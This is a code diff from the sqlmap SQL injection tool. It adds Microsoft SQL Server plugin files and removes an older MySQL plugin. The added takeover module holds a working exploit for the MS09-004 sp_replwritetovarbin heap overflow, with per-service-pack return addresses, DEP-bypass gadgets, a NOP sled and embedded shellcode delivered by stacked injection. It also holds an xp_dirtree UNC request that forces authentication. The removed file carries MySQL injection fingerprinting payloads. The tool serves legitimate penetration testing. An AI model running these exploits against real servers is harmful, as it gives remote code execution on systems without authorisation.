if inject.getValue(query, charsetType=1) == "1":
|
||||||
|
kb.osSP = sp
|
||||||
|
break
|
||||||
|
|
||||||
|
if not kb.osSP:
|
||||||
|
debugMsg = "assuming the operating system has no service pack"
|
||||||
|
logger.debug(debugMsg)
|
||||||
|
|
||||||
|
kb.osSP = 0
|
||||||
|
|
||||||
|
if kb.osVersion:
|
||||||
|
infoMsg += " Service Pack %d" % kb.osSP
|
||||||
|
|
||||||
|
logger.info(infoMsg)
|
||||||
|
|
||||||
|
self.cleanup(onlyFileTbl=True)
|
85
plugins/dbms/mssqlserver/syntax.py
Normal file
85
plugins/dbms/mssqlserver/syntax.py
Normal file
|
@ -0,0 +1,85 @@
|
||||||
|
#!/usr/bin/env python
|
||||||
|
|
||||||
|
"""
|
||||||
|
$Id$
|
||||||
|
|
||||||
|
This file is part of the sqlmap project, http://sqlmap.sourceforge.net.
|
||||||
|
|
||||||
|
Copyright (c) 2007-2010 Bernardo Damele A. G. <bernardo.damele@gmail.com>
|
||||||
|
Copyright (c) 2006 Daniele Bellucci <daniele.bellucci@gmail.com>
|
||||||
|
|
||||||
|
sqlmap is free software; you can redistribute it and/or modify it under
|
||||||
|
the terms of the GNU General Public License as published by the Free
|
||||||
|
Software Foundation version 2 of the License.
|
||||||
|
|
||||||
|
sqlmap is distributed in the hope that it will be useful, but WITHOUT ANY
|
||||||
|
WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS
|
||||||
|
FOR A PARTICULAR PURPOSE. See the GNU General Public License for more
|
||||||
|
details.
|
||||||
|
|
||||||
|
You should have received a copy of the GNU General Public License along
|
||||||
|
with sqlmap; if not, write to the Free Software Foundation, Inc., 51
|
||||||
|
Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
|
||||||
|
"""
|
||||||
|
|
||||||
|
from lib.core.exception import sqlmapSyntaxException
|
||||||
|
from plugins.generic.syntax import Syntax as GenericSyntax
|
||||||
|
|
||||||
|
class Syntax(GenericSyntax):
|
||||||
|
def __init__(self):
|
||||||
|
GenericSyntax.__init__(self)
|
||||||
|
|
||||||
|
@staticmethod
|
||||||
|
def unescape(expression, quote=True):
|
||||||
|
if quote:
|
||||||
|
while True:
|
||||||
|
index = expression.find("'")
|
||||||
|
if index == -1:
|
||||||
|
break
|
||||||
|
|
||||||
|
firstIndex = index + 1
|
||||||
|
index = expression[firstIndex:].find("'")
|
||||||
|
|
||||||
|
if index == -1:
|
||||||
|
raise sqlmapSyntaxException("Unenclosed ' in '%s'" % expression)
|
||||||
|
|
||||||
|
lastIndex = firstIndex + index
|
||||||
|
old = "'%s'" % expression[firstIndex:lastIndex]
|
||||||
|
#unescaped = "("
|
||||||
|
unescaped = ""
|
||||||
|
|
||||||
|
for i in range(firstIndex, lastIndex):
|
||||||
|
unescaped += "CHAR(%d)" % (ord(expression[i]))
|
||||||
|
if i < lastIndex - 1:
|
||||||
|
unescaped += "+"
|
||||||
|
|
||||||
|
#unescaped += ")"
|
||||||
|
expression = expression.replace(old, unescaped)
|
||||||
|
else:
|
||||||
|
expression = "+".join("CHAR(%d)" % ord(c) for c in expression)
|
||||||
|
|
||||||
|
return expression
|
||||||
|
|
||||||
|
@staticmethod
|
||||||
|
def escape(expression):
|
||||||
|
while True:
|
||||||
|
index = expression.find("CHAR(")
|
||||||
|
if index == -1:
|
||||||
|
break
|
||||||
|
|
||||||
|
firstIndex = index
|
||||||
|
index = expression[firstIndex:].find("))")
|
||||||
|
|
||||||
|
if index == -1:
|
||||||
|
raise sqlmapSyntaxException("Unenclosed ) in '%s'" % expression)
|
||||||
|
|
||||||
|
lastIndex = firstIndex + index + 1
|
||||||
|
old = expression[firstIndex:lastIndex]
|
||||||
|
oldUpper = old.upper()
|
||||||
|
oldUpper = oldUpper.replace("CHAR(", "").replace(")", "")
|
||||||
|
oldUpper = oldUpper.split("+")
|
||||||
|
|
||||||
|
escaped = "'%s'" % "".join([chr(int(char)) for char in oldUpper])
|
||||||
|
expression = expression.replace(old, escaped)
|
||||||
|
|
||||||
|
return expression
|
164
plugins/dbms/mssqlserver/takeover.py
Normal file
164
plugins/dbms/mssqlserver/takeover.py
Normal file
|
@ -0,0 +1,164 @@
|
||||||
|
#!/usr/bin/env python
|
||||||
|
|
||||||
|
"""
|
||||||
|
$Id$
|
||||||
|
|
||||||
|
This file is part of the sqlmap project, http://sqlmap.sourceforge.net.
|
||||||
|
|
||||||
|
Copyright (c) 2007-2010 Bernardo Damele A. G. <bernardo.damele@gmail.com>
|
||||||
|
Copyright (c) 2006 Daniele Bellucci <daniele.bellucci@gmail.com>
|
||||||
|
|
||||||
|
sqlmap is free software; you can redistribute it and/or modify it under
|
||||||
|
the terms of the GNU General Public License as published by the Free
|
||||||
|
Software Foundation version 2 of the License.
|
||||||
|
|
||||||
|
sqlmap is distributed in the hope that it will be useful, but WITHOUT ANY
|
||||||
|
WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS
|
||||||
|
FOR A PARTICULAR PURPOSE. See the GNU General Public License for more
|
||||||
|
details.
|
||||||
|
|
||||||
|
You should have received a copy of the GNU General Public License along
|
||||||
|
with sqlmap; if not, write to the Free Software Foundation, Inc., 51
|
||||||
|
Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
|
||||||
|
"""
|
||||||
|
|
||||||
|
import binascii
|
||||||
|
|
||||||
|
from lib.core.convert import urlencode
|
||||||
|
from lib.core.data import kb
|
||||||
|
from lib.core.data import logger
|
||||||
|
from lib.core.exception import sqlmapUnsupportedFeatureException
|
||||||
|
from lib.request import inject
|
||||||
|
|
||||||
|
from plugins.generic.takeover import Takeover as GenericTakeover
|
||||||
|
|
||||||
|
class Takeover(GenericTakeover):
|
||||||
|
def __init__(self):
|
||||||
|
self.spExploit = ""
|
||||||
|
|
||||||
|
GenericTakeover.__init__(self)
|
||||||
|
|
||||||
|
def uncPathRequest(self):
|
||||||
|
#inject.goStacked("EXEC master..xp_fileexist '%s'" % self.uncPath, silent=True)
|
||||||
|
inject.goStacked("EXEC master..xp_dirtree '%s'" % self.uncPath)
|
||||||
|
|
||||||
|
def spHeapOverflow(self):
|
||||||
|
"""
|
||||||
|
References:
|
||||||
|
* http://www.microsoft.com/technet/security/bulletin/MS09-004.mspx
|
||||||
|
* http://support.microsoft.com/kb/959420
|
||||||
|
"""
|
||||||
|
|
||||||
|
returns = {
|
||||||
|
# 2003 Service Pack 0
|
||||||
|
"2003-0": (""),
|
||||||
|
|
||||||
|
# 2003 Service Pack 1
|
||||||
|
"2003-1": ("CHAR(0xab)+CHAR(0x2e)+CHAR(0xe6)+CHAR(0x7c)", "CHAR(0xee)+CHAR(0x60)+CHAR(0xa8)+CHAR(0x7c)", "CHAR(0xb5)+CHAR(0x60)+CHAR(0xa8)+CHAR(0x7c)", "CHAR(0x03)+CHAR(0x1d)+CHAR(0x8f)+CHAR(0x7c)", "CHAR(0x03)+CHAR(0x1d)+CHAR(0x8f)+CHAR(0x7c)", "CHAR(0x13)+CHAR(0xe4)+CHAR(0x83)+CHAR(0x7c)", "CHAR(0x1e)+CHAR(0x1d)+CHAR(0x88)+CHAR(0x7c)", "CHAR(0x1e)+CHAR(0x1d)+CHAR(0x88)+CHAR(0x7c)" ),
|
||||||
|
|
||||||
|
# 2003 Service Pack 2 updated at 12/2008
|
||||||
|
#"2003-2": ("CHAR(0xe4)+CHAR(0x37)+CHAR(0xea)+CHAR(0x7c)", "CHAR(0x15)+CHAR(0xc9)+CHAR(0x93)+CHAR(0x7c)", "CHAR(0x96)+CHAR(0xdc)+CHAR(0xa7)+CHAR(0x7c)", "CHAR(0x73)+CHAR(0x1e)+CHAR(0x8f)+CHAR(0x7c)", "CHAR(0x73)+CHAR(0x1e)+CHAR(0x8f)+CHAR(0x7c)", "CHAR(0x17)+CHAR(0xf5)+CHAR(0x83)+CHAR(0x7c)", "CHAR(0x1b)+CHAR(0xa0)+CHAR(0x86)+CHAR(0x7c)", "CHAR(0x1b)+CHAR(0xa0)+CHAR(0x86)+CHAR(0x7c)" ),
|
||||||
|
|
||||||
|
# 2003 Service Pack 2 updated at 05/2009
|
||||||
|
"2003-2": ("CHAR(0xc3)+CHAR(0xdb)+CHAR(0x67)+CHAR(0x77)", "CHAR(0x15)+CHAR(0xc9)+CHAR(0x93)+CHAR(0x7c)", "CHAR(0x96)+CHAR(0xdc)+CHAR(0xa7)+CHAR(0x7c)", "CHAR(0x73)+CHAR(0x1e)+CHAR(0x8f)+CHAR(0x7c)", "CHAR(0x73)+CHAR(0x1e)+CHAR(0x8f)+CHAR(0x7c)", "CHAR(0x47)+CHAR(0xf5)+CHAR(0x83)+CHAR(0x7c)", "CHAR(0x0f)+CHAR(0x31)+CHAR(0x8e)+CHAR(0x7c)", "CHAR(0x0f)+CHAR(0x31)+CHAR(0x8e)+CHAR(0x7c)")
|
||||||
|
|
||||||
|
# 2003 Service Pack 2 updated at 09/2009
|
||||||
|
#"2003-2": ("CHAR(0xc3)+CHAR(0xc2)+CHAR(0xed)+CHAR(0x7c)", "CHAR(0xf3)+CHAR(0xd9)+CHAR(0xa7)+CHAR(0x7c)", "CHAR(0x99)+CHAR(0xc8)+CHAR(0x93)+CHAR(0x7c)", "CHAR(0x63)+CHAR(0x1e)+CHAR(0x8f)+CHAR(0x7c)", "CHAR(0x63)+CHAR(0x1e)+CHAR(0x8f)+CHAR(0x7c)", "CHAR(0x17)+CHAR(0xf5)+CHAR(0x83)+CHAR(0x7c)", "CHAR(0xa4)+CHAR(0xde)+CHAR(0x8e)+CHAR(0x7c)", "CHAR(0xa4)+CHAR(0xde)+CHAR(0x8e)+CHAR(0x7c)"),
|
||||||
|
}
|
||||||
|
addrs = None
|
||||||
|
|
||||||
|
for versionSp, data in returns.items():
|
||||||
|
version, sp = versionSp.split("-")
|
||||||
|
sp = int(sp)
|
||||||
|
|
||||||
|
if kb.osVersion == version and kb.osSP == sp:
|
||||||
|
addrs = data
|
||||||
|
|
||||||
|
break
|
||||||
|
|
||||||
|
if addrs is None:
|
||||||
|
errMsg = "sqlmap can not exploit the stored procedure buffer "
|
||||||
|
errMsg += "overflow because it does not have a valid return "
|
||||||
|
errMsg += "code for the underlying operating system (Windows "
|
||||||
|
errMsg += "%s Service Pack %d)" % (kb.osVersion, kb.osSP)
|
||||||
|
raise sqlmapUnsupportedFeatureException(errMsg)
|
||||||
|
|
||||||
|
shellcodeChar = ""
|
||||||
|
hexStr = binascii.hexlify(self.shellcodeString[:-1])
|
||||||
|
|
||||||
|
for hexPair in range(0, len(hexStr), 2):
|
||||||
|
shellcodeChar += "CHAR(0x%s)+" % hexStr[hexPair:hexPair+2]
|
||||||
|
|
||||||
|
shellcodeChar = shellcodeChar[:-1]
|
||||||
|
|
||||||
|
self.spExploit = """
|
||||||
|
DECLARE @buf NVARCHAR(4000),
|
||||||
|
@val NVARCHAR(4),
|
||||||
|
@counter INT
|
||||||
|
SET @buf = '
|
||||||
|
DECLARE @retcode int, @end_offset int, @vb_buffer varbinary, @vb_bufferlen int
|
||||||
|
EXEC master.dbo.sp_replwritetovarbin 347, @end_offset output, @vb_buffer output, @vb_bufferlen output,'''
|
||||||
|
SET @val = CHAR(0x41)
|
||||||
|
SET @counter = 0
|
||||||
|
WHILE @counter < 3320
|
||||||
|
BEGIN
|
||||||
|
SET @counter = @counter + 1
|
||||||
|
IF @counter = 411
|
||||||
|
BEGIN
|
||||||
|
/* pointer to call [ecx+8] */
|
||||||
|
SET @buf = @buf + %s
|
||||||
|
|
||||||
|
/* push ebp, pop esp, ret 4 */
|
||||||
|
SET @buf = @buf + %s
|
||||||
|
|
||||||
|
/* push ecx, pop esp, pop ebp, retn 8 */
|
||||||
|
SET @buf = @buf + %s
|
||||||
|
|
||||||
|
/* Garbage */
|
||||||
|
SET @buf = @buf + CHAR(0x51)+CHAR(0x51)+CHAR(0x51)+CHAR(0x51)
|
||||||
|
|
||||||
|
/* retn 1c */
|
||||||
|
SET @buf = @buf + %s
|
||||||
|
|
||||||
|
/* retn 1c */
|
||||||
|
SET @buf = @buf + %s
|
||||||
|
|
||||||
|
/* anti DEP */
|
||||||
|
SET @buf = @buf + %s
|
||||||
|
|
||||||
|
/* jmp esp */
|
||||||
|
SET @buf = @buf + %s
|
||||||
|
|
||||||
|
/* jmp esp */
|
||||||
|
SET @buf = @buf + %s
|
||||||
|
|
||||||
|
SET @buf = @buf + CHAR(0x90)+CHAR(0x90)+CHAR(0x90)+CHAR(0x90)
|
||||||
|
SET @buf = @buf + CHAR(0x90)+CHAR(0x90)+CHAR(0x90)+CHAR(0x90)
|
||||||
|
SET @buf = @buf + CHAR(0x90)+CHAR(0x90)+CHAR(0x90)+CHAR(0x90)
|
||||||
|
SET @buf = @buf + CHAR(0x90)+CHAR(0x90)+CHAR(0x90)+CHAR(0x90)
|
||||||
|
SET @buf = @buf + CHAR(0x90)+CHAR(0x90)+CHAR(0x90)+CHAR(0x90)
|
||||||
|
SET @buf = @buf + CHAR(0x90)+CHAR(0x90)+CHAR(0x90)+CHAR(0x90)
|
||||||
|
|
||||||
|
set @buf = @buf + CHAR(0x64)+CHAR(0x8B)+CHAR(0x25)+CHAR(0x00)+CHAR(0x00)+CHAR(0x00)+CHAR(0x00)
|
||||||
|
set @buf = @buf + CHAR(0x8B)+CHAR(0xEC)
|
||||||
|
set @buf = @buf + CHAR(0x83)+CHAR(0xEC)+CHAR(0x20)
|
||||||
|
|
||||||
|
/* Metasploit shellcode */
|
||||||
|
SET @buf = @buf + %s
|
||||||
|
|
||||||
|
SET @buf = @buf + CHAR(0x6a)+CHAR(0x00)+char(0xc3)
|
||||||
|
SET @counter = @counter + 302
|
||||||
|
SET @val = CHAR(0x43)
|
||||||
|
CONTINUE
|
||||||
|
END
|
||||||
|
SET @buf = @buf + @val
|
||||||
|
END
|
||||||
|
SET @buf = @buf + ''',''33'',''34'',''35'',''36'',''37'',''38'',''39'',''40'',''41'''
|
||||||
|
EXEC master..sp_executesql @buf
|
||||||
|
""" % (addrs[0], addrs[1], addrs[2], addrs[3], addrs[4], addrs[5], addrs[6], addrs[7], shellcodeChar)
|
||||||
|
|
||||||
|
self.spExploit = self.spExploit.replace(" ", "").replace("\n", " ")
|
||||||
|
self.spExploit = urlencode(self.spExploit, convall=True)
|
||||||
|
|
||||||
|
logger.info("triggering the buffer overflow vulnerability, wait..")
|
||||||
|
inject.goStacked(self.spExploit, silent=True)
|
|
@ -1,571 +0,0 @@
|
||||||
#!/usr/bin/env python
|
|
||||||
|
|
||||||
"""
|
|
||||||
$Id$
|
|
||||||
|
|
||||||
This file is part of the sqlmap project, http://sqlmap.sourceforge.net.
|
|
||||||
|
|
||||||
Copyright (c) 2007-2010 Bernardo Damele A. G. <bernardo.damele@gmail.com>
|
|
||||||
Copyright (c) 2006 Daniele Bellucci <daniele.bellucci@gmail.com>
|
|
||||||
|
|
||||||
sqlmap is free software; you can redistribute it and/or modify it under
|
|
||||||
the terms of the GNU General Public License as published by the Free
|
|
||||||
Software Foundation version 2 of the License.
|
|
||||||
|
|
||||||
sqlmap is distributed in the hope that it will be useful, but WITHOUT ANY
|
|
||||||
WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS
|
|
||||||
FOR A PARTICULAR PURPOSE. See the GNU General Public License for more
|
|
||||||
details.
|
|
||||||
|
|
||||||
You should have received a copy of the GNU General Public License along
|
|
||||||
with sqlmap; if not, write to the Free Software Foundation, Inc., 51
|
|
||||||
Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
|
|
||||||
"""
|
|
||||||
|
|
||||||
import os
|
|
||||||
import re
|
|
||||||
|
|
||||||
from lib.core.agent import agent
|
|
||||||
from lib.core.common import formatDBMSfp
|
|
||||||
from lib.core.common import formatFingerprint
|
|
||||||
from lib.core.common import getHtmlErrorFp
|
|
||||||
from lib.core.common import normalizePath
|
|
||||||
from lib.core.common import ntToPosixSlashes
|
|
||||||
from lib.core.common import randomInt
|
|
||||||
from lib.core.common import randomStr
|
|
||||||
from lib.core.data import conf
|
|
||||||
from lib.core.data import kb
|
|
||||||
from lib.core.data import logger
|
|
||||||
from lib.core.data import paths
|
|
||||||
from lib.core.exception import sqlmapNoneDataException
|
|
||||||
from lib.core.exception import sqlmapSyntaxException
|
|
||||||
from lib.core.session import setDbms
|
|
||||||
from lib.core.settings import MYSQL_ALIASES
|
|
||||||
from lib.core.settings import MYSQL_SYSTEM_DBS
|
|
||||||
from lib.core.unescaper import unescaper
|
|
||||||
from lib.request import inject
|
|
||||||
from lib.request.connect import Connect as Request
|
|
||||||
from lib.techniques.inband.union.test import unionTest
|
|
||||||
from lib.techniques.inband.union.use import unionUse
|
|
||||||
|
|
||||||
from plugins.generic.enumeration import Enumeration
|
|
||||||
from plugins.generic.filesystem import Filesystem
|
|
||||||
from plugins.generic.fingerprint import Fingerprint
|
|
||||||
from plugins.generic.misc import Miscellaneous
|
|
||||||
from plugins.generic.takeover import Takeover
|
|
||||||
|
|
||||||
class MySQLMap(Fingerprint, Enumeration, Filesystem, Miscellaneous, Takeover):
|
|
||||||
"""
|
|
||||||
This class defines MySQL methods
|
|
||||||
"""
|
|
||||||
|
|
||||||
def __init__(self):
|
|
||||||
self.__basedir = None
|
|
||||||
self.__datadir = None
|
|
||||||
self.excludeDbsList = MYSQL_SYSTEM_DBS
|
|
||||||
self.sysUdfs = {
|
|
||||||
# UDF name: UDF return data-type
|
|
||||||
"sys_exec": { "return": "int" },
|
|
||||||
"sys_eval": { "return": "string" },
|
|
||||||
"sys_bineval": { "return": "int" }
|
|
||||||
}
|
|
||||||
|
|
||||||
Enumeration.__init__(self, "MySQL")
|
|
||||||
Filesystem.__init__(self)
|
|
||||||
Takeover.__init__(self)
|
|
||||||
|
|
||||||
unescaper.setUnescape(MySQLMap.unescape)
|
|
||||||
|
|
||||||
@staticmethod
|
|
||||||
def unescape(expression, quote=True):
|
|
||||||
if quote:
|
|
||||||
while True:
|
|
||||||
index = expression.find("'")
|
|
||||||
if index == -1:
|
|
||||||
break
|
|
||||||
|
|
||||||
firstIndex = index + 1
|
|
||||||
index = expression[firstIndex:].find("'")
|
|
||||||
|
|
||||||
if index == -1:
|
|
||||||
raise sqlmapSyntaxException, "Unenclosed ' in '%s'" % expression
|
|
||||||
|
|
||||||
lastIndex = firstIndex + index
|
|
||||||
old = "'%s'" % expression[firstIndex:lastIndex]
|
|
||||||
unescaped = ""
|
|
||||||
|
|
||||||
for i in range(firstIndex, lastIndex):
|
|
||||||
unescaped += "%d" % (ord(expression[i]))
|
|
||||||
if i < lastIndex - 1:
|
|
||||||
unescaped += ","
|
|
||||||
|
|
||||||
expression = expression.replace(old, "CHAR(%s)" % unescaped)
|
|
||||||
else:
|
|
||||||
unescaped = "CHAR("
|
|
||||||
unescaped += ",".join("%d" % ord(c) for c in expression)
|
|
||||||
unescaped += ")"
|
|
||||||
|
|
||||||
expression = unescaped
|
|
||||||
|
|
||||||
return expression
|
|
||||||
|
|
||||||
@staticmethod
|
|
||||||
def escape(expression):
|
|
||||||
while True:
|
|
||||||
index = expression.find("CHAR(")
|
|
||||||
if index == -1:
|
|
||||||
break
|
|
||||||
|
|
||||||
firstIndex = index
|
|
||||||
index = expression[firstIndex:].find(")")
|
|
||||||
|
|
||||||
if index == -1:
|
|
||||||
raise sqlmapSyntaxException, "Unenclosed ) in '%s'" % expression
|
|
||||||
|
|
||||||
lastIndex = firstIndex + index + 1
|
|
||||||
old = expression[firstIndex:lastIndex]
|
|
||||||
oldUpper = old.upper()
|
|
||||||
oldUpper = oldUpper.lstrip("CHAR(").rstrip(")")
|
|
||||||
oldUpper = oldUpper.split(",")
|
|
||||||
|
|
||||||
escaped = "'%s'" % "".join([chr(int(char)) for char in oldUpper])
|
|
||||||
expression = expression.replace(old, escaped)
|
|
||||||
|
|
||||||
return expression
|
|
||||||
|
|
||||||
def __commentCheck(self):
|
|
||||||
infoMsg = "executing MySQL comment injection fingerprint"
|
|
||||||
logger.info(infoMsg)
|
|
||||||
|
|
||||||
query = agent.prefixQuery(" /* NoValue */")
|
|
||||||
query = agent.postfixQuery(query)
|
|
||||||
payload = agent.payload(newValue=query)
|
|
||||||
result = Request.queryPage(payload)
|
|
||||||
|
|
||||||
if not result:
|
|
||||||
warnMsg = "unable to perform MySQL comment injection"
|
|
||||||
logger.warn(warnMsg)
|
|
||||||
|
|
||||||
return None
|
|
||||||
|
|
||||||
# MySQL valid versions updated on 01/2010
|
|
||||||
versions = (
|
|
||||||
(32200, 32234), # MySQL 3.22
|
|
||||||
(32300, 32360), # MySQL 3.23
|
|
||||||
(40000, 40032), # MySQL 4.0
|
|
||||||
(40100, 40123), # MySQL 4.1
|
|
||||||
(50000, 50090), # MySQL 5.0
|
|
||||||
(50100, 50142), # MySQL 5.1
|
|
||||||
(50400, 50405), # MySQL 5.4
|
|
||||||
(50500, 50502), # MySQL 5.5
|
|
||||||
(60000, 60011), # MySQL 6.0
|
|
||||||
)
|
|
||||||
|
|
||||||
for element in versions:
|
|
||||||
prevVer = None
|
|
||||||
|
|
||||||
for version in range(element[0], element[1] + 1):
|
|
||||||
randInt = randomInt()
|
|
||||||
version = str(version)
|
|
||||||
query = agent.prefixQuery(" /*!%s AND %d=%d*/" % (version, randInt, randInt + 1))
|
|
||||||
query = agent.postfixQuery(query)
|
|
||||||
payload = agent.payload(newValue=query)
|
|
||||||
result = Request.queryPage(payload)
|
|
||||||
|
|
||||||
if result:
|
|
||||||
if not prevVer:
|
|
||||||
prevVer = version
|
|
||||||
|
|
||||||
if version[0] == "3":
|
|
||||||
midVer = prevVer[1:3]
|
|
||||||
else:
|
|
||||||
midVer = prevVer[2]
|
|
||||||
|
|
||||||
trueVer = "%s.%s.%s" % (prevVer[0], midVer, prevVer[3:])
|
|
||||||
|
|
||||||
return trueVer
|
|
||||||
|
|
||||||
prevVer = version
|
|
||||||
|
|
||||||
return None
|
|
||||||
|
|
||||||
def getFingerprint(self):
|
|
||||||
value = ""
|
|
||||||
wsOsFp = formatFingerprint("web server", kb.headersFp)
|
|
||||||
|
|
||||||
if wsOsFp:
|
|
||||||
value += "%s\n" % wsOsFp
|
|
||||||
|
|
||||||
if kb.data.banner:
|
|
||||||
dbmsOsFp = formatFingerprint("back-end DBMS", kb.bannerFp)
|
|
||||||
|
|
||||||
if dbmsOsFp:
|
|
||||||
value += "%s\n" % dbmsOsFp
|
|
||||||
|
|
||||||
value += "back-end DBMS: "
|
|
||||||
actVer = formatDBMSfp()
|
|
||||||
|
|
||||||
if not conf.extensiveFp:
|
|
||||||
value += actVer
|
|
||||||
return value
|
|
||||||
|
|
||||||
comVer = self.__commentCheck()
|
|
||||||
blank = " " * 15
|
|
||||||
value += "active fingerprint: %s" % actVer
|
|
||||||
|
|
||||||
if comVer:
|
|
||||||
comVer = formatDBMSfp([comVer])
|
|
||||||
value += "\n%scomment injection fingerprint: %s" % (blank, comVer)
|
|
||||||
|
|
||||||
if kb.bannerFp:
|
|
||||||
banVer = kb.bannerFp["dbmsVersion"] if 'dbmsVersion' in kb.bannerFp else None
|
|
||||||
|
|
||||||
if re.search("-log$", kb.data.banner):
|
|
||||||
banVer += ", logging enabled"
|
|
||||||
|
|
||||||
banVer = formatDBMSfp([banVer])
|
|
||||||
value += "\n%sbanner parsing fingerprint: %s" % (blank, banVer)
|
|
||||||
|
|
||||||
htmlErrorFp = getHtmlErrorFp()
|
|
||||||
|
|
||||||
if htmlErrorFp:
|
|
||||||
value += "\n%shtml error message fingerprint: %s" % (blank, htmlErrorFp)
|
|
||||||
|
|
||||||
return value
|
|
||||||
|
|
||||||
def checkDbms(self):
|
|
||||||
"""
|
|
||||||
References for fingerprint:
|
|
||||||
|
|
||||||
* http://dev.mysql.com/doc/refman/5.0/en/news-5-0-x.html (up to 5.0.89)
|
|
||||||
* http://dev.mysql.com/doc/refman/5.1/en/news-5-1-x.html (up to 5.1.42)
|
|
||||||
* http://dev.mysql.com/doc/refman/5.4/en/news-5-4-x.html (up to 5.4.4)
|
|
||||||
* http://dev.mysql.com/doc/refman/5.5/en/news-5-5-x.html (up to 5.5.0)
|
|
||||||
* http://dev.mysql.com/doc/refman/6.0/en/news-6-0-x.html (manual has been withdrawn)
|
|
||||||
"""
|
|
||||||
|
|
||||||
if conf.dbms in MYSQL_ALIASES and kb.dbmsVersion and kb.dbmsVersion[0].isdigit():
|
|
||||||
setDbms("MySQL %s" % kb.dbmsVersion[0])
|
|
||||||
|
|
||||||
if int(kb.dbmsVersion[0]) >= 5:
|
|
||||||
kb.data.has_information_schema = True
|
|
||||||
|
|
||||||
self.getBanner()
|
|
||||||
|
|
||||||
if not conf.extensiveFp:
|
|
||||||
return True
|
|
||||||
|
|
||||||
infoMsg = "testing MySQL"
|
|
||||||
logger.info(infoMsg)
|
|
||||||
|
|
||||||
randInt = str(randomInt(1))
|
|
||||||
|
|
||||||
payload = agent.fullPayload(" AND CONNECTION_ID()=CONNECTION_ID()")
|
|
||||||
result = Request.queryPage(payload)
|
|
||||||
|
|
||||||
if result:
|
|
||||||
infoMsg = "confirming MySQL"
|
|
||||||
logger.info(infoMsg)
|
|
||||||
|
|
||||||
payload = agent.fullPayload(" AND ISNULL(1/0)")
|
|
||||||
result = Request.queryPage(payload)
|
|
||||||
|
|
||||||
if not result:
|
|
||||||
warnMsg = "the back-end DMBS is not MySQL"
|
|
||||||
logger.warn(warnMsg)
|
|
||||||
|
|
||||||
return False
|
|
||||||
|
|
||||||
# Determine if it is MySQL >= 5.0.0
|
|
||||||
if inject.getValue("SELECT %s FROM information_schema.TABLES LIMIT 0, 1" % randInt, charsetType=2) == randInt:
|
|
||||||
kb.data.has_information_schema = True
|
|
||||||
kb.dbmsVersion = [">= 5.0.0"]
|
|
||||||
|
|
||||||
setDbms("MySQL 5")
|
|
||||||
|
|
||||||
self.getBanner()
|
|
||||||
|
|
||||||
if not conf.extensiveFp:
|
|
||||||
return True
|
|
||||||
|
|
||||||
# Check if it is MySQL >= 5.5.0
|
|
||||||
if inject.getValue("SELECT MID(TO_SECONDS(950501), 1, 1)", unpack=False, charsetType=2) == "6":
|
|
||||||
kb.dbmsVersion = [">= 5.5.0"]
|
|
||||||
|
|
||||||
# Check if it is MySQL >= 5.1.2 and < 5.5.0
|
|
||||||
elif inject.getValue("MID(@@table_open_cache, 1, 1)", unpack=False):
|
|
||||||
if inject.getValue("SELECT %s FROM information_schema.GLOBAL_STATUS LIMIT 0, 1" % randInt, unpack=False, charsetType=2) == randInt:
|
|
||||||
kb.dbmsVersion = [">= 5.1.12", "< 5.5.0"]
|
|
||||||
elif inject.getValue("SELECT %s FROM information_schema.PROCESSLIST LIMIT 0, 1" % randInt, unpack=False, charsetType=2) == randInt:
|
|
||||||
kb.dbmsVersion = [">= 5.1.7", "< 5.1.12"]
|
|
||||||
elif inject.getValue("SELECT %s FROM information_schema.PARTITIONS LIMIT 0, 1" % randInt, unpack=False, charsetType=2) == randInt:
|
|
||||||
kb.dbmsVersion = ["= 5.1.6"]
|
|
||||||
elif inject.getValue("SELECT %s FROM information_schema.PLUGINS LIMIT 0, 1" % randInt, unpack=False, charsetType=2) == randInt:
|
|
||||||
kb.dbmsVersion = [">= 5.1.5", "< 5.1.6"]
|
|
||||||
else:
|
|
||||||
kb.dbmsVersion = [">= 5.1.2", "< 5.1.5"]
|
|
||||||
|
|
||||||
# Check if it is MySQL >= 5.0.0 and < 5.1.2
|
|
||||||
elif inject.getValue("MID(@@hostname, 1, 1)", unpack=False):
|
|
||||||
kb.dbmsVersion = [">= 5.0.38", "< 5.1.2"]
|
|
||||||
elif inject.getValue("SELECT 1 FROM DUAL", charsetType=1) == "1":
|
|
||||||
kb.dbmsVersion = [">= 5.0.11", "< 5.0.38"]
|
|
||||||
elif inject.getValue("DATABASE() LIKE SCHEMA()"):
|
|
||||||
kb.dbmsVersion = [">= 5.0.2", "< 5.0.11"]
|
|
||||||
else:
|
|
||||||
kb.dbmsVersion = [">= 5.0.0", "<= 5.0.1"]
|
|
||||||
|
|
||||||
# Otherwise assume it is MySQL < 5.0.0
|
|
||||||
else:
|
|
||||||
kb.dbmsVersion = ["< 5.0.0"]
|
|
||||||
|
|
||||||
setDbms("MySQL 4")
|
|
||||||
|
|
||||||
self.getBanner()
|
|
||||||
|
|
||||||
if not conf.extensiveFp:
|
|
||||||
return True
|
|
||||||
|
|
||||||
# Check which version of MySQL < 5.0.0 it is
|
|
||||||
coercibility = inject.getValue("COERCIBILITY(USER())")
|
|
||||||
|
|
||||||
if coercibility == "3":
|
|
||||||
kb.dbmsVersion = [">= 4.1.11", "< 5.0.0"]
|
|
||||||
elif coercibility == "2":
|
|
||||||
kb.dbmsVersion = [">= 4.1.1", "< 4.1.11"]
|
|
||||||
elif inject.getValue("CURRENT_USER()"):
|
|
||||||
kb.dbmsVersion = [">= 4.0.6", "< 4.1.1"]
|
|
||||||
|
|
||||||
if inject.getValue("CHARSET(CURRENT_USER())") == "utf8":
|
|
||||||
kb.dbmsVersion = ["= 4.1.0"]
|
|
||||||
else:
|
|
||||||
kb.dbmsVersion = [">= 4.0.6", "< 4.1.0"]
|
|
||||||
elif inject.getValue("FOUND_ROWS()", charsetType=1) == "0":
|
|
||||||
kb.dbmsVersion = [">= 4.0.0", "< 4.0.6"]
|
|
||||||
elif inject.getValue("CONNECTION_ID()"):
|
|
||||||
kb.dbmsVersion = [">= 3.23.14", "< 4.0.0"]
|
|
||||||
elif re.search("@[\w\.\-\_]+", inject.getValue("USER()")):
|
|
||||||
kb.dbmsVersion = [">= 3.22.11", "< 3.23.14"]
|
|
||||||
else:
|
|
||||||
kb.dbmsVersion = ["< 3.22.11"]
|
|
||||||
|
|
||||||
return True
|
|
||||||
else:
|
|
||||||
